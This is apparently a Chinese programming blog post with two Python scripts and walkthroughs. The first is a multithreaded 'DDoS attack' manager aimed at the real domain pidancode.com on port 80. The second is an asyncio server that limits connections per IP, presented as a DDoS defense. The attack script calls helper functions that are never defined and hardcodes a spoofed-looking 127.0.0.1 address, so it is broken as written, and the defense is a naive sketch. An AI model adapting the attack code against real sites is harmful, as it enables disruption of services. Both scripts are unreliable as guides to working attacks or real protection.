banner
andrewji8

Being towards death

Heed not to the tree-rustling and leaf-lashing rain, Why not stroll along, whistle and sing under its rein. Lighter and better suited than horses are straw sandals and a bamboo staff, Who's afraid? A palm-leaf plaited cape provides enough to misty weather in life sustain. A thorny spring breeze sobers up the spirit, I feel a slight chill, The setting sun over the mountain offers greetings still. Looking back over the bleak passage survived, The return in time Shall not be affected by windswept rain or shine.
telegram
twitter
github

Python写DDoS和防御系统

image
直接上代码:

import threading
import random

class DDoSAttackThread(threading.Thread):
    """DDoS攻击线程"""
    def __init__(self, target, port, num_requests):
        """初始化DDoS攻击线程"""
        super().__init__()
        self.target = target
        self.port = port
        self.num_requests = num_requests

    def run(self):
        """执行DDoS攻击"""
        ip = "127.0.0.1"
        for _ in range(self.num_requests):
            data = generate_random_data(1024)
            send_data_to_server(self.target, self.port, data, ip)

class DDoSAttackManager:
    """DDoS攻击管理器"""
    def __init__(self):
        """初始化DDoS攻击管理器"""
        self.threads = []

    def add_thread(self, target, port, num_requests):
        """添加DDoS攻击线程"""
        thread = DDoSAttackThread(target, port, num_requests)
        self.threads.append(thread)

    def start_attack(self):
        """启动DDoS攻击"""
        for thread in self.threads:
            thread.start()

if __name__ == "__main__":
    manager = DDoSAttackManager()
    for _ in range(4):
        manager.add_thread("pidancode.com", 80, 100)
    manager.start_attack()

代码定义了两个类:DDoSAttackThread 和 DDoSAttackManager。

DDoSAttackThread 是一个继承自 threading.Thread 的类,用于表示一个 DDoS 攻击线程。在初始化方法 init 中,我们传入目标 IP 地址 target、端口 port 和请求数量 num_requests,并将其保存在实例变量中。在 run 方法中,我们使用一个循环来执行 DDoS 攻击。在每次循环中,我们生成随机数据 data,并通过 send_data_to_server 函数将数据发送到目标服务器。

DDoSAttackManager 是一个用于管理 DDoS 攻击线程的类。在初始化方法 init 中,我们创建了一个空列表 threads 来保存 DDoS 攻击线程。在 add_thread 方法中,我们创建了一个 DDoSAttackThread 实例,并将其添加到 threads 列表中。在 start_attack 方法中,我们遍历 threads 列表,逐个启动 DDoS 攻击线程。

在主程序中,我们创建了一个 DDoSAttackManager 的实例 manager。然后,我们使用一个循环来添加 4 个 DDoS 攻击线程到 manager 中,每个线程攻击目标 IP 地址为 "pidancode.com",端口为 80,请求数量为 100。最后,我们调用 manager 的 start_attack 方法,启动 DDoS 攻击。

import asyncio

class DDoSDefender:
    """DDoS防御器"""
    def __init__(self, max_conn=100):
        """初始化DDoS防御器"""
        self.max_conn = max_conn
        self.conn_counts = {}

    async def handle_connection(self, reader, writer):
        """处理连接请求"""
        addr = writer.get_extra_info('peername')
        ip = addr[0]
        if ip not in self.conn_counts:
            self.conn_counts[ip] = 0
        if self.conn_counts[ip] >= self.max_conn:
            writer.close()
            print(f"IP地址{ip}的连接数已达到上限,拒绝连接")
        else:
            self.conn_counts[ip] += 1
            writer.write(b"Welcome to pidancode.com!")
            await writer.drain()
            data = await reader.read(1024)
            print(f"Received {len(data)} bytes of data from {ip}")
            writer.close()
            self.conn_counts[ip] -= 1

    async def run(self):
        """启动DDoS防御器"""
        server = await asyncio.start_server(
            self.handle_connection, '0.0.0.0', 80)
        addr = server.sockets[0].getsockname()
        print(f'Serving on {addr}')

        async with server:
            await server.serve_forever()

if __name__ == "__main__":
    defender = DDoSDefender()
    asyncio.run(defender.run())

使用了 Python 的 asyncio 库来实现异步 IO 操作。

首先,我们定义了一个名为 DDoSDefender 的类,用于封装 DDoS 防御器的功能。在类的初始化方法 init 中,我们可以传入一个 max_conn 参数,用于设置最大连接数。同时,我们创建了一个字典 conn_counts 来记录每个 IP 地址的连接数。

接下来,我们定义了一个名为 handle_connection 的异步方法,用于处理连接请求。它接收两个参数:reader 和 writer,分别表示用于读取数据和写入数据的对象。

在方法中,我们首先通过 writer.get_extra_info (‘peername’) 获取客户端的 IP 地址。然后,我们检查该 IP 地址在 conn_counts 字典中是否存在,如果不存在,则将其初始化为 0。

接下来,我们检查该 IP 地址的连接数是否已经达到了最大连接数。如果是,则关闭连接并打印提示信息;如果不是,则将该 IP 地址的连接数加 1,并向客户端发送欢迎消息。

然后,我们使用 await writer.drain () 确保写入操作完成。接着,我们使用 await reader.read (1024) 从客户端读取数据,并打印接收到的数据的字节数。

最后,我们关闭连接,并将该 IP 地址的连接数减 1。

接下来,我们定义了一个名为 run 的异步方法,用于启动 DDoS 防御器。在方法中,我们使用 asyncio.start_server 方法创建一个服务器对象,指定了监听的 IP 地址和端口。

然后,我们通过 server.sockets [0].getsockname () 获取服务器的地址信息,并打印出来。

接着,我们使用 async with server 来管理服务器的生命周期,并通过调用 server.serve_forever () 方法来启动服务器,使其一直运行。

最后,在主程序中,我们创建了一个 DDoSDefender 的实例 defender,并通过 asyncio.run 方法来运行 defender 的 run 方法,从而启动 DDoS 防御器。

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。